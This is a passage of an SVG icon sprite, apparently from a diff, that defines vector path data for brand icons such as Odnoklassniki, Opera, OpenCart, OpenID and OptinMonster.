d="M455.6,349.2c-45.891-39.09-36.67-77.877-16.095-128.11C475.16,134.04,415.967,34.14,329.93,8.3,237.04-19.6,134.252,24.341,99.677,117.147a180.862,180.862,0,0,0-10.988,73.544c1.733,29.543,14.717,52.97,24.09,80.3,17.2,50.161-28.1,92.743-66.662,117.582-46.806,30.2-36.319,39.857-8.428,41.858,23.378,1.68,44.478-4.548,65.265-15.045,9.2-4.647,40.687-18.931,45.13-28.588C135.9,413.388,111.122,459.5,126.621,488.9c19.1,36.229,67.112-31.77,76.709-45.812,8.591-12.572,42.963-81.279,63.627-46.926,18.865,31.361,8.6,76.391,35.738,104.622,32.854,34.2,51.155-18.312,51.412-44.221.163-16.411-6.1-95.852,29.9-59.944C405.428,418,436.912,467.8,472.568,463.642c38.736-4.516-22.123-67.967-28.262-78.695,5.393,4.279,53.665,34.128,53.818,9.52C498.234,375.678,468.039,359.8,455.6,349.2Z"></path> + </symbol> + <symbol id="odnoklassniki" viewBox="0 0 320 512"> + <path d="M275.1 334c-27.4 17.4-65.1 24.3-90 26.9l20.9 20.6 76.3 76.3c27.9 28.6-17.5 73.3-45.7 45.7-19.1-19.4-47.1-47.4-76.3-76.6L84 503.4c-28.2 27.5-73.6-17.6-45.4-45.7 19.4-19.4 47.1-47.4 76.3-76.3l20.6-20.6c-24.6-2.6-62.9-9.1-90.6-26.9-32.6-21-46.9-33.3-34.3-59 7.4-14.6 27.7-26.9 54.6-5.7 0 0 36.3 28.9 94.9 28.9s94.9-28.9 94.9-28.9c26.9-21.1 47.1-8.9 54.6 5.7 12.4 25.7-1.9 38-34.5 59.1zM30.3 129.7C30.3 58 88.6 0 160 0s129.7 58 129.7 129.7c0 71.4-58.3 129.4-129.7 129.4s-129.7-58-129.7-129.4zm66 0c0 35.1 28.6 63.7 63.7 63.7s63.7-28.6 63.7-63.7c0-35.4-28.6-64-63.7-64s-63.7 28.6-63.7 64z"></path> + </symbol> + <symbol id="odnoklassniki-square" viewBox="0 0 448 512"> + <path d="M184.2 177.1c0-22.1 17.9-40 39.8-40s39.8 17.9 39.8 40c0 22-17.9 39.8-39.8 39.8s-39.8-17.9-39.8-39.8zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-305.1 97.1c0 44.6 36.4 80.9 81.1 80.9s81.1-36.2 81.1-80.9c0-44.8-36.4-81.1-81.1-81.1s-81.1 36.2-81.1 81.1zm174.5 90.7c-4.6-9.1-17.3-16.8-34.1-3.6 0 0-22.7 18-59.3 18s-59.3-18-59.3-18c-16.8-13.2-29.5-5.5-34.1 3.6-7.9 16.1 1.1 23.7 21.4 37 17.3 11.1 41.2 15.2 56.6 16.8l-12.9 12.9c-18.2 18-35.5 35.5-47.7 47.7-17.6 17.6 10.7 45.8 28.4 28.6l47.7-47.9c18.2 18.2 35.7 35.7 47.7 47.9 17.6 17.2 46-10.7 28.6-28.6l-47.7-47.7-13-12.9c15.5-1.6 39.1-5.9 56.2-16.8 20.4-13.3 29.3-21 21.5-37z"></path> + </symbol> + <symbol id="old-republic" viewBox="0 0 496 512"> + <path d="M235.76 10.23c7.5-.31 15-.28 22.5-.09 3.61.14 7.2.4 10.79.73 4.92.27 9.79 1.03 14.67 1.62 2.93.43 5.83.98 8.75 1.46 7.9 1.33 15.67 3.28 23.39 5.4 12.24 3.47 24.19 7.92 35.76 13.21 26.56 12.24 50.94 29.21 71.63 49.88 20.03 20.09 36.72 43.55 48.89 69.19 1.13 2.59 2.44 5.1 3.47 7.74 2.81 6.43 5.39 12.97 7.58 19.63 4.14 12.33 7.34 24.99 9.42 37.83.57 3.14 1.04 6.3 1.4 9.47.55 3.83.94 7.69 1.18 11.56.83 8.34.84 16.73.77 25.1-.07 4.97-.26 9.94-.75 14.89-.24 3.38-.51 6.76-.98 10.12-.39 2.72-.63 5.46-1.11 8.17-.9 5.15-1.7 10.31-2.87 15.41-4.1 18.5-10.3 36.55-18.51 53.63-15.77 32.83-38.83 62.17-67.12 85.12a246.503 246.503 0 0 1-56.91 34.86c-6.21 2.68-12.46 5.25-18.87 7.41-3.51 1.16-7.01 2.38-10.57 3.39-6.62 1.88-13.29 3.64-20.04 5-4.66.91-9.34 1.73-14.03 2.48-5.25.66-10.5 1.44-15.79 1.74-6.69.66-13.41.84-20.12.81-6.82.03-13.65-.12-20.45-.79-3.29-.23-6.57-.5-9.83-.95-2.72-.39-5.46-.63-8.17-1.11-4.12-.72-8.25-1.37-12.35-2.22-4.25-.94-8.49-1.89-12.69-3.02-8.63-2.17-17.08-5.01-25.41-8.13-10.49-4.12-20.79-8.75-30.64-14.25-2.14-1.15-4.28-2.29-6.35-3.57-11.22-6.58-21.86-14.1-31.92-22.34-34.68-28.41-61.41-66.43-76.35-108.7-3.09-8.74-5.71-17.65-7.8-26.68-1.48-6.16-2.52-12.42-3.58-18.66-.4-2.35-.61-4.73-.95-7.09-.6-3.96-.75-7.96-1.17-11.94-.8-9.47-.71-18.99-.51-28.49.14-3.51.34-7.01.7-10.51.31-3.17.46-6.37.92-9.52.41-2.81.65-5.65 1.16-8.44.7-3.94 1.3-7.9 2.12-11.82 3.43-16.52 8.47-32.73 15.26-48.18 1.15-2.92 2.59-5.72 3.86-8.59 8.05-16.71 17.9-32.56 29.49-47.06 20-25.38 45.1-46.68 73.27-62.47 7.5-4.15 15.16-8.05 23.07-11.37 15.82-6.88 32.41-11.95 49.31-15.38 3.51-.67 7.04-1.24 10.56-1.85 2.62-.47 5.28-.7 7.91-1.08 3.53-.53 7.1-.68 10.65-1.04 2.46-.24 4.91-.36 7.36-.51m8.64 24.41c-9.23.1-18.43.99-27.57 2.23-7.3 1.08-14.53 2.6-21.71 4.3-13.91 3.5-27.48 8.34-40.46 14.42-10.46 4.99-20.59 10.7-30.18 17.22-4.18 2.92-8.4 5.8-12.34 9.03-5.08 3.97-9.98 8.17-14.68 12.59-2.51 2.24-4.81 4.7-7.22 7.06-28.22 28.79-48.44 65.39-57.5 104.69-2.04 8.44-3.54 17.02-4.44 25.65-1.1 8.89-1.44 17.85-1.41 26.8.11 7.14.38 14.28 1.22 21.37.62 7.12 1.87 14.16 3.2 21.18 1.07 4.65 2.03 9.32 3.33 13.91 6.29 23.38 16.5 45.7 30.07 65.75 8.64 12.98 18.78 24.93 29.98 35.77 16.28 15.82 35.05 29.04 55.34 39.22 7.28 3.52 14.66 6.87 22.27 9.63 5.04 1.76 10.06 3.57 15.22 4.98 11.26 3.23 22.77 5.6 34.39 7.06 2.91.29 5.81.61 8.72.9 13.82 1.08 27.74 1 41.54-.43 4.45-.6 8.92-.99 13.35-1.78 3.63-.67 7.28-1.25 10.87-2.1 4.13-.98 8.28-1.91 12.36-3.07 26.5-7.34 51.58-19.71 73.58-36.2 15.78-11.82 29.96-25.76 42.12-41.28 3.26-4.02 6.17-8.31 9.13-12.55 3.39-5.06 6.58-10.25 9.6-15.54 2.4-4.44 4.74-8.91 6.95-13.45 5.69-12.05 10.28-24.62 13.75-37.49 2.59-10.01 4.75-20.16 5.9-30.45 1.77-13.47 1.94-27.1 1.29-40.65-.29-3.89-.67-7.77-1-11.66-2.23-19.08-6.79-37.91-13.82-55.8-5.95-15.13-13.53-29.63-22.61-43.13-12.69-18.8-28.24-35.68-45.97-49.83-25.05-20-54.47-34.55-85.65-42.08-7.78-1.93-15.69-3.34-23.63-4.45-3.91-.59-7.85-.82-11.77-1.24-7.39-.57-14.81-.72-22.22-.58zM139.26 83.53c13.3-8.89 28.08-15.38 43.3-20.18-3.17 1.77-6.44 3.38-9.53 5.29-11.21 6.68-21.52 14.9-30.38 24.49-6.8 7.43-12.76 15.73-17.01 24.89-3.29 6.86-5.64 14.19-6.86 21.71-.93 4.85-1.3 9.81-1.17 14.75.13 13.66 4.44 27.08 11.29 38.82 5.92 10.22 13.63 19.33 22.36 27.26 4.85 4.36 10.24 8.09 14.95 12.6 2.26 2.19 4.49 4.42 6.43 6.91 2.62 3.31 4.89 6.99 5.99 11.1.9 3.02.66 6.2.69 9.31.02 4.1-.04 8.2.03 12.3.14 3.54-.02 7.09.11 10.63.08 2.38.02 4.76.05 7.14.16 5.77.06 11.53.15 17.3.11 2.91.02 5.82.13 8.74.03 1.63.13 3.28-.03 4.91-.91.12-1.82.18-2.73.16-10.99 0-21.88-2.63-31.95-6.93-6-2.7-11.81-5.89-17.09-9.83-5.75-4.19-11.09-8.96-15.79-14.31-6.53-7.24-11.98-15.39-16.62-23.95-1.07-2.03-2.24-4.02-3.18-6.12-1.16-2.64-2.62-5.14-3.67-7.82-4.05-9.68-6.57-19.94-8.08-30.31-.49-4.44-1.09-8.88-1.2-13.35-.7-15.73.84-31.55 4.67-46.82 2.12-8.15 4.77-16.18 8.31-23.83 6.32-14.2 15.34-27.18 26.3-38.19 6.28-6.2 13.13-11.84 20.53-16.67zm175.37-20.12c2.74.74 5.41 1.74 8.09 2.68 6.36 2.33 12.68 4.84 18.71 7.96 13.11 6.44 25.31 14.81 35.82 24.97 10.2 9.95 18.74 21.6 25.14 34.34 1.28 2.75 2.64 5.46 3.81 8.26 6.31 15.1 10 31.26 11.23 47.57.41 4.54.44 9.09.45 13.64.07 11.64-1.49 23.25-4.3 34.53-1.97 7.27-4.35 14.49-7.86 21.18-3.18 6.64-6.68 13.16-10.84 19.24-6.94 10.47-15.6 19.87-25.82 27.22-10.48 7.64-22.64 13.02-35.4 15.38-3.51.69-7.08 1.08-10.66 1.21-1.85.06-3.72.16-5.56-.1-.28-2.15 0-4.31-.01-6.46-.03-3.73.14-7.45.1-11.17.19-7.02.02-14.05.21-21.07.03-2.38-.03-4.76.03-7.14.17-5.07-.04-10.14.14-15.21.1-2.99-.24-6.04.51-8.96.66-2.5 1.78-4.86 3.09-7.08 4.46-7.31 11.06-12.96 17.68-18.26 5.38-4.18 10.47-8.77 15.02-13.84 7.68-8.37 14.17-17.88 18.78-28.27 2.5-5.93 4.52-12.1 5.55-18.46.86-4.37 1.06-8.83 1.01-13.27-.02-7.85-1.4-15.65-3.64-23.17-1.75-5.73-4.27-11.18-7.09-16.45-3.87-6.93-8.65-13.31-13.96-19.2-9.94-10.85-21.75-19.94-34.6-27.1-1.85-1.02-3.84-1.82-5.63-2.97zm-100.8 58.45c.98-1.18 1.99-2.33 3.12-3.38-.61.93-1.27 1.81-1.95 2.68-3.1 3.88-5.54 8.31-7.03 13.06-.87 3.27-1.68 6.6-1.73 10-.07 2.52-.08 5.07.32 7.57 1.13 7.63 4.33 14.85 8.77 21.12 2 2.7 4.25 5.27 6.92 7.33 1.62 1.27 3.53 2.09 5.34 3.05 3.11 1.68 6.32 3.23 9.07 5.48 2.67 2.09 4.55 5.33 4.4 8.79-.01 73.67 0 147.34-.01 221.02 0 1.35-.08 2.7.04 4.04.13 1.48.82 2.83 1.47 4.15.86 1.66 1.78 3.34 3.18 4.62.85.77 1.97 1.4 3.15 1.24 1.5-.2 2.66-1.35 3.45-2.57.96-1.51 1.68-3.16 2.28-4.85.76-2.13.44-4.42.54-6.63.14-4.03-.02-8.06.14-12.09.03-5.89.03-11.77.06-17.66.14-3.62.03-7.24.11-10.86.15-4.03-.02-8.06.14-12.09.03-5.99.03-11.98.07-17.97.14-3.62.02-7.24.11-10.86.14-3.93-.02-7.86.14-11.78.03-5.99.03-11.98.06-17.97.16-3.94-.01-7.88.19-11.82.29 1.44.13 2.92.22 4.38.19 3.61.42 7.23.76 10.84.32 3.44.44 6.89.86 10.32.37 3.1.51 6.22.95 9.31.57 4.09.87 8.21 1.54 12.29 1.46 9.04 2.83 18.11 5.09 26.99 1.13 4.82 2.4 9.61 4 14.3 2.54 7.9 5.72 15.67 10.31 22.62 1.73 2.64 3.87 4.98 6.1 7.21.27.25.55.51.88.71.6.25 1.31-.07 1.7-.57.71-.88 1.17-1.94 1.7-2.93 4.05-7.8 8.18-15.56 12.34-23.31.7-1.31 1.44-2.62 2.56-3.61 1.75-1.57 3.84-2.69 5.98-3.63 2.88-1.22 5.9-2.19 9.03-2.42 6.58-.62 13.11.75 19.56 1.85 3.69.58 7.4 1.17 11.13 1.41 3.74.1 7.48.05 11.21-.28 8.55-.92 16.99-2.96 24.94-6.25 5.3-2.24 10.46-4.83 15.31-7.93 11.46-7.21 21.46-16.57 30.04-27.01 1.17-1.42 2.25-2.9 3.46-4.28-1.2 3.24-2.67 6.37-4.16 9.48-1.25 2.9-2.84 5.61-4.27 8.42-5.16 9.63-11.02 18.91-17.75 27.52-4.03 5.21-8.53 10.05-13.33 14.57-6.64 6.05-14.07 11.37-22.43 14.76-8.21 3.37-17.31 4.63-26.09 3.29-3.56-.58-7.01-1.69-10.41-2.88-2.79-.97-5.39-2.38-8.03-3.69-3.43-1.71-6.64-3.81-9.71-6.08 2.71 3.06 5.69 5.86 8.7 8.61 4.27 3.76 8.74 7.31 13.63 10.23 3.98 2.45 8.29 4.4 12.84 5.51 1.46.37 2.96.46 4.45.6-1.25 1.1-2.63 2.04-3.99 2.98-9.61 6.54-20.01 11.86-30.69 16.43-20.86 8.7-43.17 13.97-65.74 15.34-4.66.24-9.32.36-13.98.36-4.98-.11-9.97-.13-14.92-.65-11.2-.76-22.29-2.73-33.17-5.43-10.35-2.71-20.55-6.12-30.3-10.55-8.71-3.86-17.12-8.42-24.99-13.79-1.83-1.31-3.74-2.53-5.37-4.08 6.6-1.19 13.03-3.39 18.99-6.48 5.74-2.86 10.99-6.66 15.63-11.07 2.24-2.19 4.29-4.59 6.19-7.09-3.43 2.13-6.93 4.15-10.62 5.78-4.41 2.16-9.07 3.77-13.81 5.02-5.73 1.52-11.74 1.73-17.61 1.14-8.13-.95-15.86-4.27-22.51-8.98-4.32-2.94-8.22-6.43-11.96-10.06-9.93-10.16-18.2-21.81-25.66-33.86-3.94-6.27-7.53-12.75-11.12-19.22-1.05-2.04-2.15-4.05-3.18-6.1 2.85 2.92 5.57 5.97 8.43 8.88 8.99 8.97 18.56 17.44 29.16 24.48 7.55 4.9 15.67 9.23 24.56 11.03 3.11.73 6.32.47 9.47.81 2.77.28 5.56.2 8.34.3 5.05.06 10.11.04 15.16-.16 3.65-.16 7.27-.66 10.89-1.09 2.07-.25 4.11-.71 6.14-1.2 3.88-.95 8.11-.96 11.83.61 4.76 1.85 8.44 5.64 11.38 9.71 2.16 3.02 4.06 6.22 5.66 9.58 1.16 2.43 2.46 4.79 3.55 7.26 1 2.24 2.15 4.42 3.42 6.52.67 1.02 1.4 2.15 2.62 2.55 1.06-.75 1.71-1.91 2.28-3.03 2.1-4.16 3.42-8.65 4.89-13.05 2.02-6.59 3.78-13.27 5.19-20.02 2.21-9.25 3.25-18.72 4.54-28.13.56-3.98.83-7.99 1.31-11.97.87-10.64 1.9-21.27 2.24-31.94.08-1.86.24-3.71.25-5.57.01-4.35.25-8.69.22-13.03-.01-2.38-.01-4.76 0-7.13.05-5.07-.2-10.14-.22-15.21-.2-6.61-.71-13.2-1.29-19.78-.73-5.88-1.55-11.78-3.12-17.51-2.05-7.75-5.59-15.03-9.8-21.82-3.16-5.07-6.79-9.88-11.09-14.03-3.88-3.86-8.58-7.08-13.94-8.45-1.5-.41-3.06-.45-4.59-.64.07-2.99.7-5.93 1.26-8.85 1.59-7.71 3.8-15.3 6.76-22.6 1.52-4.03 3.41-7.9 5.39-11.72 3.45-6.56 7.62-12.79 12.46-18.46zm31.27 1.7c.35-.06.71-.12 1.07-.19.19 1.79.09 3.58.1 5.37v38.13c-.01 1.74.13 3.49-.15 5.22-.36-.03-.71-.05-1.06-.05-.95-3.75-1.72-7.55-2.62-11.31-.38-1.53-.58-3.09-1.07-4.59-1.7-.24-3.43-.17-5.15-.2-5.06-.01-10.13 0-15.19-.01-1.66-.01-3.32.09-4.98-.03-.03-.39-.26-.91.16-1.18 1.28-.65 2.72-.88 4.06-1.35 3.43-1.14 6.88-2.16 10.31-3.31 1.39-.48 2.9-.72 4.16-1.54.04-.56.02-1.13-.05-1.68-1.23-.55-2.53-.87-3.81-1.28-3.13-1.03-6.29-1.96-9.41-3.02-1.79-.62-3.67-1-5.41-1.79-.03-.37-.07-.73-.11-1.09 5.09-.19 10.2.06 15.3-.12 3.36-.13 6.73.08 10.09-.07.12-.39.26-.77.37-1.16 1.08-4.94 2.33-9.83 3.39-14.75zm5.97-.2c.36.05.72.12 1.08.2.98 3.85 1.73 7.76 2.71 11.61.36 1.42.56 2.88 1.03 4.27 2.53.18 5.07-.01 7.61.05 5.16.12 10.33.12 15.49.07.76-.01 1.52.03 2.28.08-.04.36-.07.72-.1 1.08-1.82.83-3.78 1.25-5.67 1.89-3.73 1.23-7.48 2.39-11.22 3.57-.57.17-1.12.42-1.67.64-.15.55-.18 1.12-.12 1.69.87.48 1.82.81 2.77 1.09 4.88 1.52 9.73 3.14 14.63 4.6.38.13.78.27 1.13.49.4.27.23.79.15 1.18-1.66.13-3.31.03-4.97.04-5.17.01-10.33-.01-15.5.01-1.61.03-3.22-.02-4.82.21-.52 1.67-.72 3.42-1.17 5.11-.94 3.57-1.52 7.24-2.54 10.78-.36.01-.71.02-1.06.06-.29-1.73-.15-3.48-.15-5.22v-38.13c.02-1.78-.08-3.58.11-5.37zM65.05 168.33c1.12-2.15 2.08-4.4 3.37-6.46-1.82 7.56-2.91 15.27-3.62 23-.8 7.71-.85 15.49-.54 23.23 1.05 19.94 5.54 39.83 14.23 57.88 2.99 5.99 6.35 11.83 10.5 17.11 6.12 7.47 12.53 14.76 19.84 21.09 4.8 4.1 9.99 7.78 15.54 10.8 3.27 1.65 6.51 3.39 9.94 4.68 5.01 2.03 10.19 3.61 15.42 4.94 3.83.96 7.78 1.41 11.52 2.71 5 1.57 9.47 4.61 13.03 8.43 4.93 5.23 8.09 11.87 10.2 18.67.99 2.9 1.59 5.91 2.17 8.92.15.75.22 1.52.16 2.29-6.5 2.78-13.26 5.06-20.26 6.18-4.11.78-8.29.99-12.46 1.08-10.25.24-20.47-1.76-30.12-5.12-3.74-1.42-7.49-2.85-11.03-4.72-8.06-3.84-15.64-8.7-22.46-14.46-2.92-2.55-5.83-5.13-8.4-8.03-9.16-9.83-16.3-21.41-21.79-33.65-2.39-5.55-4.61-11.18-6.37-16.96-1.17-3.94-2.36-7.89-3.26-11.91-.75-2.94-1.22-5.95-1.87-8.92-.46-2.14-.69-4.32-1.03-6.48-.85-5.43-1.28-10.93-1.33-16.43.11-6.18.25-12.37 1.07-18.5.4-2.86.67-5.74 1.15-8.6.98-5.7 2.14-11.37 3.71-16.93 3.09-11.65 7.48-22.95 12.69-33.84zm363.73-6.44c1.1 1.66 1.91 3.48 2.78 5.26 2.1 4.45 4.24 8.9 6.02 13.49 7.61 18.76 12.3 38.79 13.04 59.05.02 1.76.07 3.52.11 5.29.13 9.57-1.27 19.09-3.18 28.45-.73 3.59-1.54 7.17-2.58 10.69-4.04 14.72-10 29-18.41 41.78-8.21 12.57-19.01 23.55-31.84 31.41-5.73 3.59-11.79 6.64-18.05 9.19-5.78 2.19-11.71 4.03-17.8 5.11-6.4 1.05-12.91 1.52-19.4 1.23-7.92-.48-15.78-2.07-23.21-4.85-1.94-.8-3.94-1.46-5.84-2.33-.21-1.51.25-2.99.53-4.46 1.16-5.74 3.03-11.36 5.7-16.58 2.37-4.51 5.52-8.65 9.46-11.9 2.43-2.05 5.24-3.61 8.16-4.83 3.58-1.5 7.47-1.97 11.24-2.83 7.23-1.71 14.37-3.93 21.15-7 10.35-4.65 19.71-11.38 27.65-19.46 1.59-1.61 3.23-3.18 4.74-4.87 3.37-3.76 6.71-7.57 9.85-11.53 7.48-10.07 12.82-21.59 16.71-33.48 1.58-5.3 3.21-10.6 4.21-16.05.63-2.87 1.04-5.78 1.52-8.68.87-6.09 1.59-12.22 1.68-18.38.12-6.65.14-13.32-.53-19.94-.73-7.99-1.87-15.96-3.71-23.78z"></path> + </symbol> + <symbol id="opencart" viewBox="0 0 640 512"> + <path d="M423.3 440.7c0 25.3-20.3 45.6-45.6 45.6s-45.8-20.3-45.8-45.6 20.6-45.8 45.8-45.8c25.4 0 45.6 20.5 45.6 45.8zm-253.9-45.8c-25.3 0-45.6 20.6-45.6 45.8s20.3 45.6 45.6 45.6 45.8-20.3 45.8-45.6-20.5-45.8-45.8-45.8zm291.7-270C158.9 124.9 81.9 112.1 0 25.7c34.4 51.7 53.3 148.9 373.1 144.2 333.3-5 130 86.1 70.8 188.9 186.7-166.7 319.4-233.9 17.2-233.9z"></path> + </symbol> + <symbol id="openid" viewBox="0 0 448 512"> + <path d="M271.5 432l-68 32C88.5 453.7 0 392.5 0 318.2c0-71.5 82.5-131 191.7-144.3v43c-71.5 12.5-124 53-124 101.3 0 51 58.5 93.3 135.7 103v-340l68-33.2v384zM448 291l-131.3-28.5 36.8-20.7c-19.5-11.5-43.5-20-70-24.8v-43c46.2 5.5 87.7 19.5 120.3 39.3l35-19.8L448 291z"></path> + </symbol> + <symbol id="opera" viewBox="0 0 496 512"> + <path d="M313.9 32.7c-170.2 0-252.6 223.8-147.5 355.1 36.5 45.4 88.6 75.6 147.5 75.6 36.3 0 70.3-11.1 99.4-30.4-43.8 39.2-101.9 63-165.3 63-3.9 0-8 0-11.9-.3C104.6 489.6 0 381.1 0 248 0 111 111 0 248 0h.8c63.1.3 120.7 24.1 164.4 63.1-29-19.4-63.1-30.4-99.3-30.4zm101.8 397.7c-40.9 24.7-90.7 23.6-132-5.8 56.2-20.5 97.7-91.6 97.7-176.6 0-84.7-41.2-155.8-97.4-176.6 41.8-29.2 91.2-30.3 132.9-5 105.9 98.7 105.5 265.7-1.2 364z"></path> + </symbol> + <symbol id="optin-monster" viewBox="0 0 576 512"> + <path d="M572.6 421.4c5.6-9.5 4.7-15.2-5.4-11.6-3-4.9-7-9.5-11.1-13.8 2.9-9.7-.7-14.2-10.8-9.2-4.6-3.2-10.3-6.5-15.9-9.2 0-15.1-11.6-11.6-17.6-5.7-10.4-1.5-18.7-.3-26.8 5.7.3-6.5.3-13 .3-19.7 12.6 0 40.2-11 45.9-36.2 1.4-6.8 1.6-13.8-.3-21.9-3-13.5-14.3-21.3-25.1-25.7-.8-5.9-7.6-14.3-14.9-15.9s-12.4 4.9-14.1 10.3c-8.5 0-19.2 2.8-21.1 8.4-5.4-.5-11.1-1.4-16.8-1.9 2.7-1.9 5.4-3.5 8.4-4.6 5.4-9.2 14.6-11.4 25.7-11.6V256c19.5-.5 43-5.9 53.8-18.1 12.7-13.8 14.6-37.3 12.4-55.1-2.4-17.3-9.7-37.6-24.6-48.1-8.4-5.9-21.6-.8-22.7 9.5-2.2 19.6 1.2 30-38.6 25.1-10.3-23.8-24.6-44.6-42.7-60C341 49.6 242.9 55.5 166.4 71.7c19.7 4.6 41.1 8.6 59.7 16.5-26.2 2.4-52.7 11.3-76.2 23.2-32.8 17-44 29.9-56.7 42.4 14.9-2.2 28.9-5.1 43.8-3.8-9.7 5.4-18.4 12.2-26.5 20-25.8.9-23.8-5.3-26.2-25.9-1.1-10.5-14.3-15.4-22.7-9.7-28.1 19.9-33.5 79.9-12.2 103.5 10.8 12.2 35.1 17.3 54.9 17.8-.3 1.1-.3 1.9-.3 2.7 10.8.5 19.5 2.7 24.6 11.6 3 1.1 5.7 2.7 8.1 4.6-5.4.5-11.1 1.4-16.5 1.9-3.3-6.6-13.7-8.1-21.1-8.1-1.6-5.7-6.5-12.2-14.1-10.3-6.8 1.9-14.1 10-14.9 15.9-22.5 9.5-30.1 26.8-25.1 47.6 5.3 24.8 33 36.2 45.9 36.2v19.7c-6.6-5-14.3-7.5-26.8-5.7-5.5-5.5-17.3-10.1-17.3 5.7-5.9 2.7-11.4 5.9-15.9 9.2-9.8-4.9-13.6-1.7-11.1 9.2-4.1 4.3-7.8 8.6-11.1 13.8-10.2-3.7-11 2.2-5.4 11.6-1.1 3.5-1.6 7-1.9 10.8-.5 31.6 44.6 64 73.5 65.1 17.3.5 34.6-8.4 43-23.5 113.2 4.9 226.7 4.1 340.2 0 8.1 15.1 25.4 24.3 42.7 23.5 29.2-1.1 74.3-33.5 73.5-65.1.2-3.7-.7-7.2-1.7-10.7zm-73.8-254c1.1-3 2.4-8.4 2.4-14.6 0-5.9 6.8-8.1 14.1-.8 11.1 11.6 14.9 40.5 13.8 51.1-4.1-13.6-13-29-30.3-35.7zm-4.6 6.7c19.5 6.2 28.6 27.6 29.7 48.9-1.1 2.7-3 5.4-4.9 7.6-5.7 5.9-15.4 10-26.2 12.2 4.3-21.3.3-47.3-12.7-63 4.9-.8 10.9-2.4 14.1-5.7zm-24.1 6.8c13.8 11.9 20 39.2 14.1 63.5-4.1.5-8.1.8-11.6.8-1.9-21.9-6.8-44-14.3-64.6 3.7.3 8.1.3 11.8.3zM47.5 203c-1.1-10.5 2.4-39.5 13.8-51.1 7-7.3 14.1-5.1 14.1.8 0 6.2 1.4 11.6 2.4 14.6-17.3 6.8-26.2 22.2-30.3 35.7zm9.7 27.6c-1.9-2.2-3.5-4.9-4.9-7.6 1.4-21.3 10.3-42.7 29.7-48.9 3.2 3.2 9.2 4.9 14.1 5.7-13 15.7-17 41.6-12.7 63-10.8-2.2-20.5-6-26.2-12.2zm47.9 14.6c-4.1 0-8.1-.3-12.7-.8-4.6-18.6-1.9-38.9 5.4-53v.3l12.2-5.1c4.9-1.9 9.7-3.8 14.9-4.9-10.7 19.7-17.4 41.3-19.8 63.5zm184-162.7c41.9 0 76.2 34 76.2 75.9 0 42.2-34.3 76.2-76.2 76.2s-76.2-34-76.2-76.2c0-41.8 34.3-75.9 76.2-75.9zm115.6 174.3c-.3 17.8-7 48.9-23 57-13.2 6.6-6.5-7.5-16.5-58.1 13.3.3 26.6.3 39.5 1.1zm-54-1.6c.8 4.9 3.8 40.3-1.6 41.9-11.6 3.5-40 4.3-51.1-1.1-4.1-3-4.6-35.9-4.3-41.1v.3c18.9-.3 38.1-.3 57 0zM278.3 309c-13 3.5-41.6 4.1-54.6-1.6-6.5-2.7-3.8-42.4-1.9-51.6 19.2-.5 38.4-.5 57.8-.8v.3c1.1 8.3 3.3 51.2-1.3 53.7zm-106.5-51.1c12.2-.8 24.6-1.4 36.8-1.6-2.4 15.4-3 43.5-4.9 52.2-1.1 6.8-4.3 6.8-9.7 4.3-21.9-9.8-27.6-35.2-22.2-54.9zm-35.4 31.3c7.8-1.1 15.7-1.9 23.5-2.7 1.6 6.2 3.8 11.9 7 17.6 10 17 44 35.7 45.1 7 6.2 14.9 40.8 12.2 54.9 10.8 15.7-1.4 23.8-1.4 26.8-14.3 12.4 4.3 30.8 4.1 44 3 11.3-.8 20.8-.5 24.6-8.9 1.1 5.1 1.9 11.6 4.6 16.8 10.8 21.3 37.3 1.4 46.8-31.6 8.6.8 17.6 1.9 26.5 2.7-.4 1.3-3.8 7.3 7.3 11.6-47.6 47-95.7 87.8-163.2 107-63.2-20.8-112.1-59.5-155.9-106.5 9.6-3.4 10.4-8.8 8-12.5zm-21.6 172.5c-3.8 17.8-21.9 29.7-39.7 28.9-19.2-.8-46.5-17-59.2-36.5-2.7-31.1 43.8-61.3 66.2-54.6 14.9 4.3 27.8 30.8 33.5 54 0 3-.3 5.7-.8 8.2zm-8.7-66c-.5-13.5-.5-27-.3-40.5h.3c2.7-1.6 5.7-3.8 7.8-6.5 6.5-1.6 13-5.1 15.1-9.2 3.3-7.1-7-7.5-5.4-12.4 2.7-1.1 5.7-2.2 7.8-3.5 29.2 29.2 58.6 56.5 97.3 77-36.8 11.3-72.4 27.6-105.9 47-1.2-18.6-7.7-35.9-16.7-51.9zm337.6 64.6c-103 3.5-206.2 4.1-309.4 0 0 .3 0 .3-.3.3v-.3h.3c35.1-21.6 72.2-39.2 112.4-50.8 11.6 5.1 23 9.5 34.9 13.2 2.2.8 2.2.8 4.3 0 14.3-4.1 28.4-9.2 42.2-15.4 41.5 11.7 78.8 31.7 115.6 53zm10.5-12.4c-35.9-19.5-73-35.9-111.9-47.6 38.1-20 71.9-47.3 103.5-76.7 2.2 1.4 4.6 2.4 7.6 3.2 0 .8.3 1.9.5 2.4-4.6 2.7-7.8 6.2-5.9 10.3 2.2 3.8 8.6 7.6 15.1 8.9 2.4 2.7 5.1 5.1 8.1 6.8 0 13.8-.3 27.6-.8 41.3l.3-.3c-9.3 15.9-15.5 37-16.5 51.7zm105.9 6.2c-12.7 19.5-40 35.7-59.2 36.5-19.3.9-40.5-13.2-40.5-37 5.7-23.2 18.9-49.7 33.5-54 22.7-6.9 69.2 23.4 66.2 54.5zM372.9 75.2c-3.8-72.1-100.8-79.7-126-23.5 44.6-24.3 90.3-15.7 126 23.5zM74.8 407.1c-15.7 1.6-49.5 25.4-49.5 43.2 0 11.6 15.7 19.5 32.2 14.9 12.2-3.2 31.1-17.6 35.9-27.3 6-11.6-3.7-32.7-18.6-30.8zm215.9-176.2c28.6 0 51.9-21.6 51.9-48.4 0-36.1-40.5-58.1-72.2-44.3 9.5 3 16.5 11.6 16.5 21.6 0 23.3-33.3 32-46.5 11.3-7.3 34.1 19.4 59.8 50.3 59.8zM68 474.1c.5 6.5 12.2 12.7 21.6 9.5 6.8-2.7 14.6-10.5 17.3-16.2 3-7-1.1-20-9.7-18.4-8.9 1.6-29.7 16.7-29.2 25.1zm433.2-67c-14.9-1.9-24.6 19.2-18.9 30.8 4.9 9.7 24.1 24.1 36.2 27.3 16.5 4.6 32.2-3.2 32.2-14.9 0-17.8-33.8-41.6-49.5-43.2zM478.8 449c-8.4-1.6-12.4 11.3-9.5 18.4 2.4 5.7 10.3 13.5 17.3 16.2 9.2 3.2 21.1-3 21.3-9.5.9-8.4-20.2-23.5-29.1-25.1z"></path> + </symbol> + <symbol id="orcid" viewBox="0 0 512 512"> + <path d="M294.75 